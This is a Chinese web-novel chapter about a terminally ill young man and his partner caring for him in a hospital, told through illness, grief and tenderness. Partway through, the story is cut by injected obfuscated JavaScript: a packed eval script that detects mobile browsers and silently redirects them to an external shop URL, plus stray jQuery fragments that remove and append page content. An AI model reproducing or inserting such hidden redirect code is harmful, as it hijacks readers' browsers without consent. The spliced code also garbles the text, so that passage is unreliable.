苌斓的身体是从呼吸开始坏掉的。那天早上他醒来，发现自己在流鼻血——暗红色的液体从左侧鼻孔里涌出来，顺着嘴角淌到下巴，滴在病号服的领口上。他没有慌张，只是伸手去按呼叫铃。手指碰到按钮的时候他才发现，自己的左手在发抖，抖得连按钮都按不准。
忘海从洗手间出来，毛巾掉在地上。他冲过来按下呼叫铃，把苌斓扶起来让他前倾，用纸巾轻轻按住他的鼻子。纸巾很快被血浸透了，换了一张又一张，白色纸团在床头柜上堆成一座小山。苌斓透过按在鼻子上的那团纸巾闷闷地说，没事，可能是早上打喷嚏太用力了。忘海没有说话，只是把他的手指从呼叫铃上拿下来，握在自己掌心里。那只发抖的手在他的掌心里渐渐安静下来，像一只受了伤的鸟终于找到了可以栖息的枝丫。
鼻血止住之后，苌斓靠在床头，看着窗外梧桐树的叶子在风里轻轻晃动。他把手放在被子上，看着自己那只还在微微发颤的左手。这只手端过六岁时被打碎的稀饭，抠过七岁那扇紧闭的门板，在雪地上擦破过掌心，在超市里推过车轴歪向左边的购物车，织过围巾，握过忘海的手。现在它连一个按钮都按不准了。他忽然想起很久以前在天台上，忘海用指尖在他掌心里写自己的名字。那时候他的手是稳的，能感觉到每一笔每一画从掌心传到心脏的温度。现在那只手还在，只是没有力气再握紧任何东西了。
忘海把豆浆装在保温杯里带过来。苌斓喝了一口，温度刚好，甜度刚好。但豆浆走到胸口就停住了，卡在那里，上不去下不来。他皱了一下眉，把杯子放下，说等等再喝。忘海伸出手，隔着病号服轻轻按在他胸口上。苌斓的肋骨一根一根凸出来，锁骨窝深得能盛住一小勺水。忘海的手掌覆在他的胸骨上，感觉到下面的心跳很急很乱，像一只被关在笼子里的鸟在拼命扑腾。两个人谁都没有说话，只是安静地坐着，像两棵并肩立在秋风里的梧桐树，枝叶已经稀疏了，但根还缠在一起。
下午，苌斓试着从病床上坐起来，想去厕所。他刚把腿挪到床边，整个人就软了下去。忘海一把捞住他，把他重新扶回床上。苌斓坐在床沿上喘了很久，额头抵在忘海的肩膀上，呼出的气息又浅又急。他说，腿不听使唤了，刚才想站起来，膝盖一弯就跪下去了。忘海把他抱起来放回床上，给他盖好被子。苌斓闭上眼睛，没有再说话。窗外的梧桐叶沙沙地响，像在替他说那些说不出口的话。
那天晚上，他第一次在忘海面前失禁。他没有按呼叫铃，只是躺在黑暗里，睁着眼睛看着天花板。等忘海发现的时候，他已经躺了很久——那些温热的液体浸透了床单，浸透了他最后一点骄傲。他张了张嘴，想说什么——想说对不起，想说我不是故意的，想说我知道你收拾这些很辛苦。但他说不出来。不是因为喉咙里插着管子，是因为他已经没有多余的力气去承受这些词的重量了。对不起太重，辛苦太重，连你的名字都太重。他只能闭上眼睛，把脸转向窗外，不让忘海看到他眼眶里的水光。
忘海什么都没有说。他打来温水，把毛巾拧到半干，轻轻掀开被子。他的动作很轻很稳，和每天早上磨豆浆时一样，和缝袖口时一样，和在天台上按住他流血的伤口时一样。苌斓闭着眼睛，感觉到温热的毛巾擦过自己的皮肤，感觉到忘海的指尖偶尔碰到他的腰侧，感觉到被子重新盖回身上时那种柔软的重量。他想起很小的时候，母亲也是这样给他擦脸——毛巾很软，手很暖，动作很轻，像在擦一件很珍贵的瓷器。后来母亲不在了，再也没有人这样给他擦过脸。现在这个人出现了，在他连大小便都不能自理的时候，用一块温热的毛巾，替他擦掉了所有的难堪。
后来洗澡也变成了奢望。忘海每天用温水拧了毛巾给他擦身体——先擦脸，再擦脖子，然后是手臂、胸口、后背、双腿。擦到后背的时候，苌斓需要侧过身，忘海一只手扶着他的肩膀，另一只手拿着毛巾轻轻擦过他的脊柱。那条脊柱曾经撑着他从养父母的拳头底下站起来，曾经在雪地上摔倒后重新爬起来，曾经在十三次化疗的间隙让他还能走到病房的窗边看梧桐树发芽。现在每一节椎骨都凸出来，隔着毛巾也能摸到那些坚硬的突起。
苌斓背对着忘海，忽然开口，问他自己是不是瘦得很难看，是不是已经瘦得不像一个人了——像一只被风干的蝴蝶，轻轻一碰就会碎掉。忘海把毛巾放进水盆里搓了搓，说不像蝴蝶，像一棵冬天的梧桐树。叶子都落光了，枝丫光秃秃的，看着很瘦，但根还扎在土里，等春天一来，还会发芽。苌斓的肩膀轻轻颤了一下。他没有回头，只是把手从被子里伸出来，往后摸索着，找到了忘海放在床边的手，轻轻握住。
又过了几天，苌斓开始喘不上气。呼吸机的参数已经调到了最高，但他还是觉得闷，像有一块大石头压在胸口上。他说，能不能把窗户打开一点。忘海把窗户推开一条缝，春天的风从缝隙里灌进来，带着梧桐叶和玉兰花淡淡的清香。苌斓深深吸了一口气，说好香，玉兰花开了。忘海说，开了满树。苌斓说，以前每年春天都会去看，今年错过了。忘海把他的手轻轻握住，说没有错过——他把玉兰花摘了一朵放在床头柜上，白色的花瓣，厚实饱满，花心是极淡极淡的鹅黄色。苌斓侧头看着那朵玉兰花，看了很久，说很好看。就像有一小片春天被留在了这间病房里。
然后崩溃来了。那天下午苌斓想自己端起保温杯喝水，杯子很轻，里面只装了半杯温水，但他的手指握不住杯柄。保温杯从手里滑落，掉在地上，水洒了一地。他低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724436|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头看着地上那滩水和那个磕坏杯盖的旧保温杯，忽然哭了。不是那种压抑的、无声的流泪，是真正的崩溃——肩膀在颤抖，喉咙里挤出破碎的呜咽，眼泪从眼眶里涌出来，顺着脸颊往下淌。他用手背去擦，但怎么擦都擦不完。他问自己为什么连一杯水都拿不住，他不是怕死，他怕的是死之前先变成一堆什么都做不了的枯骨，烂在病床上，烂在忘海的记忆里，成为他翻过的那本书里最后一页的污渍。他想干干净净地走，想在忘海的记忆里永远是那个能在厨房里炒菜、在阳台上浇薄荷、在公园里把忘海埋进落叶堆里的人。可是现在他连一杯水都拿不住。
忘海从地上捡起保温杯，放在床头柜上。他没有说“没关系”，没有说“不要哭”，只是在床边坐下来，把苌斓拉进怀里。苌斓的脸埋在他肩窝里，哭声闷闷的，像从很远很远的地方传来。忘海轻轻拍着他的后背，一下，一下，和很久以前他做噩梦时把他叫醒的动作一模一样。等哭声渐渐平息，他才低下头，嘴唇贴着苌斓的耳朵，轻声说：“你还能在我靠近的时候，偏过头来让我吻你。”苌斓的睫毛轻轻颤了一下，慢慢抬起头，看着忘海，眼睛里还挂着泪。忘海低下头，在他嘴唇上极轻极轻地碰了一下。那个吻很轻很轻，像玉兰花瓣落在水面上——先是一点凉，然后是一点甜。“你还能在我叫你名字的时候，轻轻弯一下嘴角。”苌斓的嘴角动了一下，极淡极淡的弧度，像月光照在雪地上反射出的第一缕光。“你还能在我把手伸过来的时候，把我的手指攥在掌心里。”苌斓低下头，把忘海的手指一根一根攥在自己掌心里。他的手还在发抖，但攥得很紧。
那天傍晚，苌斓靠在忘海肩上，看着窗外梧桐树的叶子在夕阳下泛着淡金色的光。他说，今天没有撑住。忘海握着他的手说，没有撑住也没关系，在他面前不需要撑。苌斓又说，今天哭了。忘海说想哭就哭，眼泪他帮他擦。苌斓的嘴角极轻极淡地弯了一下，说他知道，但他还是想撑——不是为了撑给别人看，是为了撑给自己看。他想证明自己还能战斗。他虽然身体坏了，但心还没坏。这颗心在养父母的拳头下没有坏，在校园的孤立里没有坏，在化疗的痛苦里没有坏，现在也不会坏。只要心还没坏，他就还有力气和忘海一起看明天的梧桐树。
窗外那棵梧桐树安静地立在暮色里，枝丫上挂满了新绿的叶子，每一片都在风里轻轻摇晃。它们熬过了去年的秋风，熬过了整个冬天的冰雪，在所有人都以为它们已经枯死的时候，又悄悄地冒出了新芽。忘海低下头，把苌斓的手贴在自己嘴唇上，贴了很久。他说，好，那就继续战斗。不是战斗到死，是战斗到活。战斗到每一个还能睁开眼睛的早晨，战斗到每一口还能咽下去的豆浆，战斗到每一片还能看到的梧桐叶。